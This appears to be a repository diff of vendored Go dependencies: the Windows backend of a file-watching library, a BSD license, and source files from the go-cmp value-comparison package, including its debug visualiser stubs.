delete(watch.names, name)
}
return w.startRead(watch)
}
// Must run within the I/O thread.
func (w *Watcher) deleteWatch(watch *watch) {
for name, mask := range watch.names {
if mask&provisional == 0 {
w.sendEvent(filepath.Join(watch.path, name), mask&sysFSIGNORED)
}
delete(watch.names, name)
}
if watch.mask != 0 {
if watch.mask&provisional == 0 {
w.sendEvent(watch.path, watch.mask&sysFSIGNORED)
}
watch.mask = 0
}
}
// Must run within the I/O thread.
func (w *Watcher) startRead(watch *watch) error {
if e := syscall.CancelIo(watch.ino.handle); e != nil {
w.Errors <- os.NewSyscallError("CancelIo", e)
w.deleteWatch(watch)
}
mask := toWindowsFlags(watch.mask)
for _, m := range watch.names {
mask |= toWindowsFlags(m)
}
if mask == 0 {
if e := syscall.CloseHandle(watch.ino.handle); e != nil {
w.Errors <- os.NewSyscallError("CloseHandle", e)
}
w.mu.Lock()
delete(w.watches[watch.ino.volume], watch.ino.index)
w.mu.Unlock()
return nil
}
e := syscall.ReadDirectoryChanges(watch.ino.handle, &watch.buf[0],
uint32(unsafe.Sizeof(watch.buf)), false, mask, nil, &watch.ov, 0)
if e != nil {
err := os.NewSyscallError("ReadDirectoryChanges", e)
if e == syscall.ERROR_ACCESS_DENIED && watch.mask&provisional == 0 {
// Watched directory was probably removed
if w.sendEvent(watch.path, watch.mask&sysFSDELETESELF) {
if watch.mask&sysFSONESHOT != 0 {
watch.mask = 0
}
}
err = nil
}
w.deleteWatch(watch)
w.startRead(watch)
return err
}
return nil
}
// readEvents reads from the I/O completion port, converts the
// received events into Event objects and sends them via the Events channel.
// Entry point to the I/O thread.
func (w *Watcher) readEvents() {
var (
n, key uint32
ov *syscall.Overlapped
)
runtime.LockOSThread()
for {
e := syscall.GetQueuedCompletionStatus(w.port, &n, &key, &ov, syscall.INFINITE)
watch := (*watch)(unsafe.Pointer(ov))
if watch == nil {
select {
case ch := <-w.quit:
w.mu.Lock()
var indexes []indexMap
for _, index := range w.watches {
indexes = append(indexes, index)
}
w.mu.Unlock()
for _, index := range indexes {
for _, watch := range index {
w.deleteWatch(watch)
w.startRead(watch)
}
}
var err error
if e := syscall.CloseHandle(w.port); e != nil {
err = os.NewSyscallError("CloseHandle", e)
}
close(w.Events)
close(w.Errors)
ch <- err
return
case in := <-w.input:
switch in.op {
case opAddWatch:
in.reply <- w.addWatch(in.path, uint64(in.flags))
case opRemoveWatch:
in.reply <- w.remWatch(in.path)
}
default:
}
continue
}
switch e {
case syscall.ERROR_MORE_DATA:
if watch == nil {
w.Errors <- errors.New("ERROR_MORE_DATA has unexpectedly null lpOverlapped buffer")
} else {
// The i/o succeeded but the buffer is full.
// In theory we should be building up a full packet.
// In practice we can get away with just carrying on.
n = uint32(unsafe.Sizeof(watch.buf))
}
case syscall.ERROR_ACCESS_DENIED:
// Watched directory was probably removed
w.sendEvent(watch.path, watch.mask&sysFSDELETESELF)
w.deleteWatch(watch)
w.startRead(watch)
continue
case syscall.ERROR_OPERATION_ABORTED:
// CancelIo was called on this handle
continue
default:
w.Errors <- os.NewSyscallError("GetQueuedCompletionPort", e)
continue
case nil:
}
var offset uint32
for {
if n == 0 {
w.Events <- newEvent("", sysFSQOVERFLOW)
w.Errors <- errors.New("short read in readEvents()")
break
}
// Point "raw" to the event in the buffer
raw := (*syscall.FileNotifyInformation)(unsafe.Pointer(&watch.buf[offset]))
buf := (*[syscall.MAX_PATH]uint16)(unsafe.Pointer(&raw.FileName))
name := syscall.UTF16ToString(buf[:raw.FileNameLength/2])
fullname := filepath.Join(watch.path, name)
var mask uint64
switch raw.Action {
case syscall.FILE_ACTION_REMOVED:
mask = sysFSDELETESELF
case syscall.FILE_ACTION_MODIFIED:
mask = sysFSMODIFY
case syscall.FILE_ACTION_RENAMED_OLD_NAME:
watch.rename = name
case syscall.FILE_ACTION_RENAMED_NEW_NAME:
if watch.names[watch.rename] != 0 {
watch.names[name] |= watch.names[watch.rename]
delete(watch.names, watch.rename)
mask = sysFSMOVESELF
}
}
sendNameEvent := func() {
if w.sendEvent(fullname, watch.names[name]&mask) {
if watch.names[name]&sysFSONESHOT != 0 {
delete(watch.names, name)
}
}
}
if raw.Action != syscall.FILE_ACTION_RENAMED_NEW_NAME {
sendNameEvent()
}
if raw.Action == syscall.FILE_ACTION_REMOVED {
w.sendEvent(fullname, watch.names[name]&sysFSIGNORED)
delete(watch.names, name)
}
if w.sendEvent(fullname, watch.mask&toFSnotifyFlags(raw.Action)) {
if watch.mask&sysFSONESHOT != 0 {
watch.mask = 0
}
}
if raw.Action == syscall.FILE_ACTION_RENAMED_NEW_NAME {
fullname = filepath.Join(watch.path, watch.rename)
sendNameEvent()
}
// Move to the next event in the buffer
if raw.NextEntryOffset == 0 {
break
}
offset += raw.NextEntryOffset
// Error!
if offset >= n {
w.Errors <- errors.New("Windows system assumed buffer larger than it is, events have likely been missed.")
break
}
}
if err := w.startRead(watch); err != nil {
w.Errors <- err
}
}
}
func (w *Watcher) sendEvent(name string, mask uint64) bool {
if mask == 0 {
return false
}
event := newEvent(name, uint32(mask))
select {
case ch := <-w.quit:
w.quit <- ch
case w.Events <- event:
}
return true
}
func toWindowsFlags(mask uint64) uint32 {
var m uint32
if mask&sysFSACCESS != 0 {
m |= syscall.FILE_NOTIFY_CHANGE_LAST_ACCESS
}
if mask&sysFSMODIFY != 0 {
m |= syscall.FILE_NOTIFY_CHANGE_LAST_WRITE
}
if mask&sysFSATTRIB != 0 {
m |= syscall.FILE_NOTIFY_CHANGE_ATTRIBUTES
}
if mask&(sysFSMOVE|sysFSCREATE|sysFSDELETE) != 0 {
m |= syscall.FILE_NOTIFY_CHANGE_FILE_NAME | syscall.FILE_NOTIFY_CHANGE_DIR_NAME
}
return m
}
func toFSnotifyFlags(action uint32) uint64 {
switch action {
case syscall.FILE_ACTION_ADDED:
return sysFSCREATE
case syscall.FILE_ACTION_REMOVED:
return sysFSDELETE
case syscall.FILE_ACTION_MODIFIED:
return sysFSMODIFY
case syscall.FILE_ACTION_RENAMED_OLD_NAME:
return sysFSMOVEDFROM
case syscall.FILE_ACTION_RENAMED_NEW_NAME:
return sysFSMOVEDTO
}
return 0
}
+27
View File
@@ -0,0 +1,27 @@
Copyright (c) 2017 The Go Authors. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
* Neither the name of Google Inc. nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+667
View File
@@ -0,0 +1,667 @@
// Copyright 2017, The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package cmp determines equality of values.
//
// This package is intended to be a more powerful and safer alternative to
// reflect.DeepEqual for comparing whether two values are semantically equal.
// It is intended to only be used in tests, as performance is not a goal and
// it may panic if it cannot compare the values. Its propensity towards
// panicking means that its unsuitable for production environments where a
// spurious panic may be fatal.
//
// The primary features of cmp are:
//
// • When the default behavior of equality does not suit the needs of the test,
// custom equality functions can override the equality operation.
// For example, an equality function may report floats as equal so long as they
// are within some tolerance of each other.
//
// • Types that have an Equal method may use that method to determine equality.
// This allows package authors to determine the equality operation for the types
// that they define.
//
// • If no custom equality functions are used and no Equal method is defined,
// equality is determined by recursively comparing the primitive kinds on both
// values, much like reflect.DeepEqual. Unlike reflect.DeepEqual, unexported
// fields are not compared by default; they result in panics unless suppressed
// by using an Ignore option (see cmpopts.IgnoreUnexported) or explicitly
// compared using the Exporter option.
package cmp
import (
"fmt"
"reflect"
"strings"
"github.com/google/go-cmp/cmp/internal/diff"
"github.com/google/go-cmp/cmp/internal/function"
"github.com/google/go-cmp/cmp/internal/value"
)
// TODO(≥go1.18): Use any instead of interface{}.
// Equal reports whether x and y are equal by recursively applying the
// following rules in the given order to x and y and all of their sub-values:
//
// • Let S be the set of all Ignore, Transformer, and Comparer options that
// remain after applying all path filters, value filters, and type filters.
// If at least one Ignore exists in S, then the comparison is ignored.
// If the number of Transformer and Comparer options in S is greater than one,
// then Equal panics because it is ambiguous which option to use.
// If S contains a single Transformer, then use that to transform the current
// values and recursively call Equal on the output values.
// If S contains a single Comparer, then use that to compare the current values.
// Otherwise, evaluation proceeds to the next rule.
//
// • If the values have an Equal method of the form "(T) Equal(T) bool" or
// "(T) Equal(I) bool" where T is assignable to I, then use the result of
// x.Equal(y) even if x or y is nil. Otherwise, no such method exists and
// evaluation proceeds to the next rule.
//
// • Lastly, try to compare x and y based on their basic kinds.
// Simple kinds like booleans, integers, floats, complex numbers, strings, and
// channels are compared using the equivalent of the == operator in Go.
// Functions are only equal if they are both nil, otherwise they are unequal.
//
// Structs are equal if recursively calling Equal on all fields report equal.
// If a struct contains unexported fields, Equal panics unless an Ignore option
// (e.g., cmpopts.IgnoreUnexported) ignores that field or the Exporter option
// explicitly permits comparing the unexported field.
//
// Slices are equal if they are both nil or both non-nil, where recursively
// calling Equal on all non-ignored slice or array elements report equal.
// Empty non-nil slices and nil slices are not equal; to equate empty slices,
// consider using cmpopts.EquateEmpty.
//
// Maps are equal if they are both nil or both non-nil, where recursively
// calling Equal on all non-ignored map entries report equal.
// Map keys are equal according to the == operator.
// To use custom comparisons for map keys, consider using cmpopts.SortMaps.
// Empty non-nil maps and nil maps are not equal; to equate empty maps,
// consider using cmpopts.EquateEmpty.
//
// Pointers and interfaces are equal if they are both nil or both non-nil,
// where they have the same underlying concrete type and recursively
// calling Equal on the underlying values reports equal.
//
// Before recursing into a pointer, slice element, or map, the current path
// is checked to detect whether the address has already been visited.
// If there is a cycle, then the pointed at values are considered equal
// only if both addresses were previously visited in the same path step.
func Equal(x, y interface{}, opts ...Option) bool {
s := newState(opts)
s.compareAny(rootStep(x, y))
return s.result.Equal()
}
// Diff returns a human-readable report of the differences between two values:
// y - x. It returns an empty string if and only if Equal returns true for the
// same input values and options.
//
// The output is displayed as a literal in pseudo-Go syntax.
// At the start of each line, a "-" prefix indicates an element removed from x,
// a "+" prefix to indicates an element added from y, and the lack of a prefix
// indicates an element common to both x and y. If possible, the output
// uses fmt.Stringer.String or error.Error methods to produce more humanly
// readable outputs. In such cases, the string is prefixed with either an
// 's' or 'e' character, respectively, to indicate that the method was called.
//
// Do not depend on this output being stable. If you need the ability to
// programmatically interpret the difference, consider using a custom Reporter.
func Diff(x, y interface{}, opts ...Option) string {
s := newState(opts)
// Optimization: If there are no other reporters, we can optimize for the
// common case where the result is equal (and thus no reported difference).
// This avoids the expensive construction of a difference tree.
if len(s.reporters) == 0 {
s.compareAny(rootStep(x, y))
if s.result.Equal() {
return ""
}
s.result = diff.Result{} // Reset results
}
r := new(defaultReporter)
s.reporters = append(s.reporters, reporter{r})
s.compareAny(rootStep(x, y))
d := r.String()
if (d == "") != s.result.Equal() {
panic("inconsistent difference and equality results")
}
return d
}
// rootStep constructs the first path step. If x and y have differing types,
// then they are stored within an empty interface type.
func rootStep(x, y interface{}) PathStep {
vx := reflect.ValueOf(x)
vy := reflect.ValueOf(y)
// If the inputs are different types, auto-wrap them in an empty interface
// so that they have the same parent type.
var t reflect.Type
if !vx.IsValid() || !vy.IsValid() || vx.Type() != vy.Type() {
t = reflect.TypeOf((*interface{})(nil)).Elem()
if vx.IsValid() {
vvx := reflect.New(t).Elem()
vvx.Set(vx)
vx = vvx
}
if vy.IsValid() {
vvy := reflect.New(t).Elem()
vvy.Set(vy)
vy = vvy
}
} else {
t = vx.Type()
}
return &pathStep{t, vx, vy}
}
type state struct {
// These fields represent the "comparison state".
// Calling statelessCompare must not result in observable changes to these.
result diff.Result // The current result of comparison
curPath Path // The current path in the value tree
curPtrs pointerPath // The current set of visited pointers
reporters []reporter // Optional reporters
// recChecker checks for infinite cycles applying the same set of
// transformers upon the output of itself.
recChecker recChecker
// dynChecker triggers pseudo-random checks for option correctness.
// It is safe for statelessCompare to mutate this value.
dynChecker dynChecker
// These fields, once set by processOption, will not change.
exporters []exporter // List of exporters for structs with unexported fields
opts Options // List of all fundamental and filter options
}
func newState(opts []Option) *state {
// Always ensure a validator option exists to validate the inputs.
s := &state{opts: Options{validator{}}}
s.curPtrs.Init()
s.processOption(Options(opts))
return s
}
func (s *state) processOption(opt Option) {
switch opt := opt.(type) {
case nil:
case Options:
for _, o := range opt {
s.processOption(o)
}
case coreOption:
type filtered interface {
isFiltered() bool
}
if fopt, ok := opt.(filtered); ok && !fopt.isFiltered() {
panic(fmt.Sprintf("cannot use an unfiltered option: %v", opt))
}
s.opts = append(s.opts, opt)
case exporter:
s.exporters = append(s.exporters, opt)
case reporter:
s.reporters = append(s.reporters, opt)
default:
panic(fmt.Sprintf("unknown option %T", opt))
}
}
// statelessCompare compares two values and returns the result.
// This function is stateless in that it does not alter the current result,
// or output to any registered reporters.
func (s *state) statelessCompare(step PathStep) diff.Result {
// We do not save and restore curPath and curPtrs because all of the
// compareX methods should properly push and pop from them.
// It is an implementation bug if the contents of the paths differ from
// when calling this function to when returning from it.
oldResult, oldReporters := s.result, s.reporters
s.result = diff.Result{} // Reset result
s.reporters = nil // Remove reporters to avoid spurious printouts
s.compareAny(step)
res := s.result
s.result, s.reporters = oldResult, oldReporters
return res
}
func (s *state) compareAny(step PathStep) {
// Update the path stack.
s.curPath.push(step)
defer s.curPath.pop()
for _, r := range s.reporters {
r.PushStep(step)
defer r.PopStep()
}
s.recChecker.Check(s.curPath)
// Cycle-detection for slice elements (see NOTE in compareSlice).
t := step.Type()
vx, vy := step.Values()
if si, ok := step.(SliceIndex); ok && si.isSlice && vx.IsValid() && vy.IsValid() {
px, py := vx.Addr(), vy.Addr()
if eq, visited := s.curPtrs.Push(px, py); visited {
s.report(eq, reportByCycle)
return
}
defer s.curPtrs.Pop(px, py)
}
// Rule 1: Check whether an option applies on this node in the value tree.
if s.tryOptions(t, vx, vy) {
return
}
// Rule 2: Check whether the type has a valid Equal method.
if s.tryMethod(t, vx, vy) {
return
}
// Rule 3: Compare based on the underlying kind.
switch t.Kind() {
case reflect.Bool:
s.report(vx.Bool() == vy.Bool(), 0)
case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
s.report(vx.Int() == vy.Int(), 0)
case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:
s.report(vx.Uint() == vy.Uint(), 0)
case reflect.Float32, reflect.Float64:
s.report(vx.Float() == vy.Float(), 0)
case reflect.Complex64, reflect.Complex128:
s.report(vx.Complex() == vy.Complex(), 0)
case reflect.String:
s.report(vx.String() == vy.String(), 0)
case reflect.Chan, reflect.UnsafePointer:
s.report(vx.Pointer() == vy.Pointer(), 0)
case reflect.Func:
s.report(vx.IsNil() && vy.IsNil(), 0)
case reflect.Struct:
s.compareStruct(t, vx, vy)
case reflect.Slice, reflect.Array:
s.compareSlice(t, vx, vy)
case reflect.Map:
s.compareMap(t, vx, vy)
case reflect.Ptr:
s.comparePtr(t, vx, vy)
case reflect.Interface:
s.compareInterface(t, vx, vy)
default:
panic(fmt.Sprintf("%v kind not handled", t.Kind()))
}
}
func (s *state) tryOptions(t reflect.Type, vx, vy reflect.Value) bool {
// Evaluate all filters and apply the remaining options.
if opt := s.opts.filter(s, t, vx, vy); opt != nil {
opt.apply(s, vx, vy)
return true
}
return false
}
func (s *state) tryMethod(t reflect.Type, vx, vy reflect.Value) bool {
// Check if this type even has an Equal method.
m, ok := t.MethodByName("Equal")
if !ok || !function.IsType(m.Type, function.EqualAssignable) {
return false
}
eq := s.callTTBFunc(m.Func, vx, vy)
s.report(eq, reportByMethod)
return true
}
func (s *state) callTRFunc(f, v reflect.Value, step Transform) reflect.Value {
if !s.dynChecker.Next() {
return f.Call([]reflect.Value{v})[0]
}
// Run the function twice and ensure that we get the same results back.
// We run in goroutines so that the race detector (if enabled) can detect
// unsafe mutations to the input.
c := make(chan reflect.Value)
go detectRaces(c, f, v)
got := <-c
want := f.Call([]reflect.Value{v})[0]
if step.vx, step.vy = got, want; !s.statelessCompare(step).Equal() {
// To avoid false-positives with non-reflexive equality operations,
// we sanity check whether a value is equal to itself.
if step.vx, step.vy = want, want; !s.statelessCompare(step).Equal() {
return want
}
panic(fmt.Sprintf("non-deterministic function detected: %s", function.NameOf(f)))
}
return want
}
func (s *state) callTTBFunc(f, x, y reflect.Value) bool {
if !s.dynChecker.Next() {
return f.Call([]reflect.Value{x, y})[0].Bool()
}
// Swapping the input arguments is sufficient to check that
// f is symmetric and deterministic.
// We run in goroutines so that the race detector (if enabled) can detect
// unsafe mutations to the input.
c := make(chan reflect.Value)
go detectRaces(c, f, y, x)
got := <-c
want := f.Call([]reflect.Value{x, y})[0].Bool()
if !got.IsValid() || got.Bool() != want {
panic(fmt.Sprintf("non-deterministic or non-symmetric function detected: %s", function.NameOf(f)))
}
return want
}
func detectRaces(c chan<- reflect.Value, f reflect.Value, vs ...reflect.Value) {
var ret reflect.Value
defer func() {
recover() // Ignore panics, let the other call to f panic instead
c <- ret
}()
ret = f.Call(vs)[0]
}
func (s *state) compareStruct(t reflect.Type, vx, vy reflect.Value) {
var addr bool
var vax, vay reflect.Value // Addressable versions of vx and vy
var mayForce, mayForceInit bool
step := StructField{&structField{}}
for i := 0; i < t.NumField(); i++ {
step.typ = t.Field(i).Type
step.vx = vx.Field(i)
step.vy = vy.Field(i)
step.name = t.Field(i).Name
step.idx = i
step.unexported = !isExported(step.name)
if step.unexported {
if step.name == "_" {
continue
}
// Defer checking of unexported fields until later to give an
// Ignore a chance to ignore the field.
if !vax.IsValid() || !vay.IsValid() {
// For retrieveUnexportedField to work, the parent struct must
// be addressable. Create a new copy of the values if
// necessary to make them addressable.
addr = vx.CanAddr() || vy.CanAddr()
vax = makeAddressable(vx)
vay = makeAddressable(vy)
}
if !mayForceInit {
for _, xf := range s.exporters {
mayForce = mayForce || xf(t)
}
mayForceInit = true
}
step.mayForce = mayForce
step.paddr = addr
step.pvx = vax
step.pvy = vay
step.field = t.Field(i)
}
s.compareAny(step)
}
}
func (s *state) compareSlice(t reflect.Type, vx, vy reflect.Value) {
isSlice := t.Kind() == reflect.Slice
if isSlice && (vx.IsNil() || vy.IsNil()) {
s.report(vx.IsNil() && vy.IsNil(), 0)
return
}
// NOTE: It is incorrect to call curPtrs.Push on the slice header pointer
// since slices represents a list of pointers, rather than a single pointer.
// The pointer checking logic must be handled on a per-element basis
// in compareAny.
//
// A slice header (see reflect.SliceHeader) in Go is a tuple of a starting
// pointer P, a length N, and a capacity C. Supposing each slice element has
// a memory size of M, then the slice is equivalent to the list of pointers:
// [P+i*M for i in range(N)]
//
// For example, v[:0] and v[:1] are slices with the same starting pointer,
// but they are clearly different values. Using the slice pointer alone
// violates the assumption that equal pointers implies equal values.
step := SliceIndex{&sliceIndex{pathStep: pathStep{typ: t.Elem()}, isSlice: isSlice}}
withIndexes := func(ix, iy int) SliceIndex {
if ix >= 0 {
step.vx, step.xkey = vx.Index(ix), ix
} else {
step.vx, step.xkey = reflect.Value{}, -1
}
if iy >= 0 {
step.vy, step.ykey = vy.Index(iy), iy
} else {
step.vy, step.ykey = reflect.Value{}, -1
}
return step
}
// Ignore options are able to ignore missing elements in a slice.
// However, detecting these reliably requires an optimal differencing
// algorithm, for which diff.Difference is not.
//
// Instead, we first iterate through both slices to detect which elements
// would be ignored if standing alone. The index of non-discarded elements
// are stored in a separate slice, which diffing is then performed on.
var indexesX, indexesY []int
var ignoredX, ignoredY []bool
for ix := 0; ix < vx.Len(); ix++ {
ignored := s.statelessCompare(withIndexes(ix, -1)).NumDiff == 0
if !ignored {
indexesX = append(indexesX, ix)
}
ignoredX = append(ignoredX, ignored)
}
for iy := 0; iy < vy.Len(); iy++ {
ignored := s.statelessCompare(withIndexes(-1, iy)).NumDiff == 0
if !ignored {
indexesY = append(indexesY, iy)
}
ignoredY = append(ignoredY, ignored)
}
// Compute an edit-script for slices vx and vy (excluding ignored elements).
edits := diff.Difference(len(indexesX), len(indexesY), func(ix, iy int) diff.Result {
return s.statelessCompare(withIndexes(indexesX[ix], indexesY[iy]))
})
// Replay the ignore-scripts and the edit-script.
var ix, iy int
for ix < vx.Len() || iy < vy.Len() {
var e diff.EditType
switch {
case ix < len(ignoredX) && ignoredX[ix]:
e = diff.UniqueX
case iy < len(ignoredY) && ignoredY[iy]:
e = diff.UniqueY
default:
e, edits = edits[0], edits[1:]
}
switch e {
case diff.UniqueX:
s.compareAny(withIndexes(ix, -1))
ix++
case diff.UniqueY:
s.compareAny(withIndexes(-1, iy))
iy++
default:
s.compareAny(withIndexes(ix, iy))
ix++
iy++
}
}
}
func (s *state) compareMap(t reflect.Type, vx, vy reflect.Value) {
if vx.IsNil() || vy.IsNil() {
s.report(vx.IsNil() && vy.IsNil(), 0)
return
}
// Cycle-detection for maps.
if eq, visited := s.curPtrs.Push(vx, vy); visited {
s.report(eq, reportByCycle)
return
}
defer s.curPtrs.Pop(vx, vy)
// We combine and sort the two map keys so that we can perform the
// comparisons in a deterministic order.
step := MapIndex{&mapIndex{pathStep: pathStep{typ: t.Elem()}}}
for _, k := range value.SortKeys(append(vx.MapKeys(), vy.MapKeys()...)) {
step.vx = vx.MapIndex(k)
step.vy = vy.MapIndex(k)
step.key = k
if !step.vx.IsValid() && !step.vy.IsValid() {
// It is possible for both vx and vy to be invalid if the
// key contained a NaN value in it.
//
// Even with the ability to retrieve NaN keys in Go 1.12,
// there still isn't a sensible way to compare the values since
// a NaN key may map to multiple unordered values.
// The most reasonable way to compare NaNs would be to compare the
// set of values. However, this is impossible to do efficiently
// since set equality is provably an O(n^2) operation given only
// an Equal function. If we had a Less function or Hash function,
// this could be done in O(n*log(n)) or O(n), respectively.
//
// Rather than adding complex logic to deal with NaNs, make it
// the user's responsibility to compare such obscure maps.
const help = "consider providing a Comparer to compare the map"
panic(fmt.Sprintf("%#v has map key with NaNs\n%s", s.curPath, help))
}
s.compareAny(step)
}
}
func (s *state) comparePtr(t reflect.Type, vx, vy reflect.Value) {
if vx.IsNil() || vy.IsNil() {
s.report(vx.IsNil() && vy.IsNil(), 0)
return
}
// Cycle-detection for pointers.
if eq, visited := s.curPtrs.Push(vx, vy); visited {
s.report(eq, reportByCycle)
return
}
defer s.curPtrs.Pop(vx, vy)
vx, vy = vx.Elem(), vy.Elem()
s.compareAny(Indirect{&indirect{pathStep{t.Elem(), vx, vy}}})
}
func (s *state) compareInterface(t reflect.Type, vx, vy reflect.Value) {
if vx.IsNil() || vy.IsNil() {
s.report(vx.IsNil() && vy.IsNil(), 0)
return
}
vx, vy = vx.Elem(), vy.Elem()
if vx.Type() != vy.Type() {
s.report(false, 0)
return
}
s.compareAny(TypeAssertion{&typeAssertion{pathStep{vx.Type(), vx, vy}}})
}
func (s *state) report(eq bool, rf resultFlags) {
if rf&reportByIgnore == 0 {
if eq {
s.result.NumSame++
rf |= reportEqual
} else {
s.result.NumDiff++
rf |= reportUnequal
}
}
for _, r := range s.reporters {
r.Report(Result{flags: rf})
}
}
// recChecker tracks the state needed to periodically perform checks that
// user provided transformers are not stuck in an infinitely recursive cycle.
type recChecker struct{ next int }
// Check scans the Path for any recursive transformers and panics when any
// recursive transformers are detected. Note that the presence of a
// recursive Transformer does not necessarily imply an infinite cycle.
// As such, this check only activates after some minimal number of path steps.
func (rc *recChecker) Check(p Path) {
const minLen = 1 << 16
if rc.next == 0 {
rc.next = minLen
}
if len(p) < rc.next {
return
}
rc.next <<= 1
// Check whether the same transformer has appeared at least twice.
var ss []string
m := map[Option]int{}
for _, ps := range p {
if t, ok := ps.(Transform); ok {
t := t.Option()
if m[t] == 1 { // Transformer was used exactly once before
tf := t.(*transformer).fnc.Type()
ss = append(ss, fmt.Sprintf("%v: %v => %v", t, tf.In(0), tf.Out(0)))
}
m[t]++
}
}
if len(ss) > 0 {
const warning = "recursive set of Transformers detected"
const help = "consider using cmpopts.AcyclicTransformer"
set := strings.Join(ss, "\n\t")
panic(fmt.Sprintf("%s:\n\t%s\n%s", warning, set, help))
}
}
// dynChecker tracks the state needed to periodically perform checks that
// user provided functions are symmetric and deterministic.
// The zero value is safe for immediate use.
type dynChecker struct{ curr, next int }
// Next increments the state and reports whether a check should be performed.
//
// Checks occur every Nth function call, where N is a triangular number:
// 0 1 3 6 10 15 21 28 36 45 55 66 78 91 105 120 136 153 171 190 ...
// See https://en.wikipedia.org/wiki/Triangular_number
//
// This sequence ensures that the cost of checks drops significantly as
// the number of functions calls grows larger.
func (dc *dynChecker) Next() bool {
ok := dc.curr == dc.next
if ok {
dc.curr = 0
dc.next++
}
dc.curr++
return ok
}
// makeAddressable returns a value that is always addressable.
// It returns the input verbatim if it is already addressable,
// otherwise it creates a new value and returns an addressable copy.
func makeAddressable(v reflect.Value) reflect.Value {
if v.CanAddr() {
return v
}
vc := reflect.New(v.Type()).Elem()
vc.Set(v)
return vc
}
+16
View File
@@ -0,0 +1,16 @@
// Copyright 2017, The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
//go:build purego
// +build purego
package cmp
import "reflect"
const supportExporters = false
func retrieveUnexportedField(reflect.Value, reflect.StructField, bool) reflect.Value {
panic("no support for forcibly accessing unexported fields")
}
+36
View File
@@ -0,0 +1,36 @@
// Copyright 2017, The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
//go:build !purego
// +build !purego
package cmp
import (
"reflect"
"unsafe"
)
const supportExporters = true
// retrieveUnexportedField uses unsafe to forcibly retrieve any field from
// a struct such that the value has read-write permissions.
//
// The parent struct, v, must be addressable, while f must be a StructField
// describing the field to retrieve. If addr is false,
// then the returned value will be shallowed copied to be non-addressable.
func retrieveUnexportedField(v reflect.Value, f reflect.StructField, addr bool) reflect.Value {
ve := reflect.NewAt(f.Type, unsafe.Pointer(uintptr(unsafe.Pointer(v.UnsafeAddr()))+f.Offset)).Elem()
if !addr {
// A field is addressable if and only if the struct is addressable.
// If the original parent value was not addressable, shallow copy the
// value to make it non-addressable to avoid leaking an implementation
// detail of how forcibly exporting a field works.
if ve.Kind() == reflect.Interface && ve.IsNil() {
return reflect.Zero(f.Type)
}
return reflect.ValueOf(ve.Interface()).Convert(f.Type)
}
return ve
}
@@ -0,0 +1,18 @@
// Copyright 2017, The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
//go:build !cmp_debug
// +build !cmp_debug
package diff
var debug debugger
type debugger struct{}
func (debugger) Begin(_, _ int, f EqualFunc, _, _ *EditScript) EqualFunc {
return f
}
func (debugger) Update() {}
func (debugger) Finish() {}
@@ -0,0 +1,123 @@
// Copyright 2017, The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
//go:build cmp_debug
// +build cmp_debug
package diff
import (
"fmt"
"strings"
"sync"
"time"
)
// The algorithm can be seen running in real-time by enabling debugging:
// go test -tags=cmp_debug -v
//
// Example output:
// === RUN TestDifference/#34
// ┌───────────────────────────────┐
// │ \ · · · · · · · · · · · · · · │
// │ · # · · · · · · · · · · · · · │
// │ · \ · · · · · · · · · · · · · │
// │ · · \ · · · · · · · · · · · · │
// │ · · · X # · · · · · · · · · · │
// │ · · · # \ · · · · · · · · · · │
// │ · · · · · # # · · · · · · · · │
// │ · · · · · # \ · · · · · · · · │
// │ · · · · · · · \ · · · · · · · │
// │ · · · · · · · · \ · · · · · · │
// │ · · · · · · · · · \ · · · · · │
// │ · · · · · · · · · · \ · · # · │
// │ · · · · · · · · · · · \ # # · │
// │ · · · · · · · · · · · # # # · │
// │ · · · · · · · · · · # # # # · │
// │ · · · · · · · · · # # # # # · │
// │ · · · · · · · · · · · · · · \ │
// └───────────────────────────────┘
// [.Y..M.XY......YXYXY.|]
//
// The grid represents the edit-graph where the horizontal axis represents
// list X and the vertical axis represents list Y. The start of the two lists
// is the top-left, while the ends are the bottom-right. The '·' represents
// an unexplored node in the graph. The '\' indicates that the two symbols
// from list X and Y are equal. The 'X' indicates that two symbols are similar
// (but not exactly equal) to each other. The '#' indicates that the two symbols
// are different (and not similar). The algorithm traverses this graph trying to
// make the paths starting in the top-left and the bottom-right connect.
//
// The series of '.', 'X', 'Y', and 'M' characters at the bottom represents
// the currently established path from the forward and reverse searches,
// separated by a '|' character.
const (
updateDelay = 100 * time.Millisecond
finishDelay = 500 * time.Millisecond
ansiTerminal = true // ANSI escape codes used to move terminal cursor
)
var debug debugger
type debugger struct {
sync.Mutex
p1, p2 EditScript
fwdPath, revPath *EditScript
grid []byte
lines int
}
